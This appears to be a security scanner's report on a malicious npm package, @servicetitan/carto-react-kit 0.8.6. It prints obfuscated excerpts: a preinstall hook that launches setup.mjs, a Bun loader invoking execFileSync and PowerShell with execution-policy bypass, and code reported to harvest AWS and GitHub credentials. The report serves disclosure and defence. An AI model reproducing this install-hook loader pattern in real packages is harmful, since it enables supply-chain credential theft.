Hostile ^100% javascript Download

@servicetitan/carto-react-kit 0.8.6

preinstall downloads and executes obfuscated payload

Mini Shai-Hulud setup.mjs preinstall Bun loaderObfuscated JavaScript targets AWS and GitHub credentials

SHA-256e4d16e34c8d845a1fe9aa49f63aa6940ba84d8cc54e4150d1bb2d2b48639d9a9

URLhttps://registry.npmjs.org/@servicetitan/carto-react-kit/-/carto-react-kit-0.8.6.tgz

MaleculeK₂(McLi)O₅(CCaS₄As₂Xe)H₇(Cm₈Db₁₀F₇Hf₂Os₃Po₆U₂)Md₃(InPa₇)

Also flagged by osv (MAL-2026-11835: Malicious code in @servicetitan/carto-react-kit (npm)) +2 more.

Evidence

Extracts multiple AWS shared-credential records math_init.js · lines 1–2

1// @bun @bun-cjs
2var MmgoCP,etDiOOB,JqTtnbZ,bc3Kak,ZQmUTyQ,TTUgga,MDX6yrw,h8wMJNB,CabwE2L,x5ErqV;function WV8StW(MmgoCP,etDiOOB,JqTtnbZ){for(JqTtnbZ=0x0;JqTtnbZ<etDiOOB;JqTtnbZ++)MmgoCP.push(MmgoCP.shift());return MmgoCP}const n7gIxM=[0x0,0x1,0x8,0xff,"length","undefined",void 0x0,0xab,0x65,0xb2,0xd4,0x3f,0x6,"fromCodePoint",0x7,0xc,"push",0x5b,0x1fff,0x58,0xd,0xe,0x3,0xa4,"h",0x37,"i","g",0x5,0xb9,0x57,0x52,0x7f,0x80,0xdf,0xef,0xf4,0xf5,"b",0x9,"d","\n",0x9e,0x6b,"c","f",0x4,0x3ff,0x10000,0xa,0xd800,0xdc00,0x56,0x4e,0x22,0x93,0x1f,0xc0,0xf,0xe0,0x12,0xf0,0x79,0xb1,0x2,"a",0x38,"e",0xb6,0xf8,0xd2,!0x1,0x200,0x116,0x64,0x7c,0x88,0x119,0x11a,0x108,0xbf,0xc1,0x13f,0xc6,0x100,null,0x4000,0xf6,0x2c,0xce,0xcc,0x5d,0xe1,".","Z","k",0x173,"l",0x179,0x17c,"m",0xe3,0x184,"p",0x185,0x186,0xa2,"s","o",0x5c,"j","/","w",0x16,0x163,"ng",0x16c,0x161,0x19f,0x1a0,"=",0x19c,0x1b0,0x1b1,0x1b2,0x1ba,"M",0x1da,0x1dc,0x1e8,0x5f,0xf3,0x96,0x4b,0x1ee,0x1ef,0x1f0,0x1f1,"-",0x55,!0x0,0x14e,0xf1,0xf2,0x9d,0xd3,0x209,0x20e,"r",0x213,0x216,0x217,0x227,0x226,0x225,0x10,0xffffffff,0x4a,0x20,0x23f,0x245,0xe5,0xa9,0x4f,0x248,0x243,0x254,0x …

Hexadecimal array indexing math_init.js · line 2

2:129609… uffer,MDX6yrw=JqTtnbZ.String||String,h8wMJNB=JqTtnbZ.Array||Array,CabwE2L=function(){var MmgoCP=new h8wMJNB(n7gIxM[0x21]),etDiOOB,JqTtnbZ;evcN91N(etDiOOB=MDX6yrw[n7gIxM[0xd]]||MDX6yrw.fromCharCode,JqTtnbZ=[]);return function(...bc3Kak){evcN91N(bc3Kak[n7gIxM[0x4]]=n7gIxM[0x1],bc3Kak[-n7gIxM[0xa]]=n7gIxM[0x6],bc3K …

execFileSync runs variable path and arg setup.mjs · lines 240–257

39… f2738, _0x3038c8);
  },
  DVCdV: "-NoProfile",
  PZdQt: "-NonInteractive",
  NaIqo: "-ExecutionPolicy",
  XFZDA: "-Command"
};
if (_0x5d8a27.WaLKQ(hc, _0x5d8a27.SiMvK, ["-v"])) {
  execFileSync(_0x5d8a27.SiMvK, [_0x5d8a27.DQZne, _0x53801b, _0x2912ea, "-d", _0x44aefd], {
    stdio: _0x5d8a27.FCJDu
  });
  return;
}
if (_0x5d8a27.lQXcL(process.platform, _0x5d8a27.MJNCi) && _0x5d8a27.WaLKQ(hc, "powershell", [_0x5d8a27.PpNLF])) {
  _0x5d8a27.tHRFe(execFileSync, "powershell", [_0x5d8a27.DVCdV, _0x5d8a27.PZdQt, _0x5d8a27.NaIqo, "Bypass", _0x5d8a27.XFZDA, "Expand-Archive -LiteralPath '" + _0x53801b + "' -DestinationPath '" + _0x44aefd + "' -Force"], {
    stdio: "inherit"
  });
  const _0x5 …

Bun release archive URL reference setup.mjs · lines 292–299

72… 
const _0x28ebf = _0x369dd9 ? _0x5f1571.dAZFw : _0x5f1571.SBBJg;
const _0x9e5ce7 = "https://github.com/oven-sh/bun/releases/download/bun-v" + V + "/" + _0x2dfbd9 + ".zip";
const _0x231bb9 = _0x488df8.mkdtempSync(_0x3161c8.join(_0x24db8d.tmpdir(), _0x5f1571.zjKAu));
const _0x53b0cf = _0x3161c8.join(_0x231bb9, _0x2dfbd9 + ".zip");
const _0x3f5b74 = _0x3161c8.join(_0x231bb9, _0x28ebf);
const _0x5b0e02 = _0x3161c8.join(D, E);
tr …

preinstall launches setup.mjs package.json · lines 86–92

11… o-internal/tools": "0.0.0",
  "@carto-internal/biome-config": "0.0.0"
},
"scripts": {
  "preinstall": "node setup.mjs"
}
92}

Showing the top 5 files — 3 more files (19 regions) not shown.

No evidence locations were recorded for this file. Raw result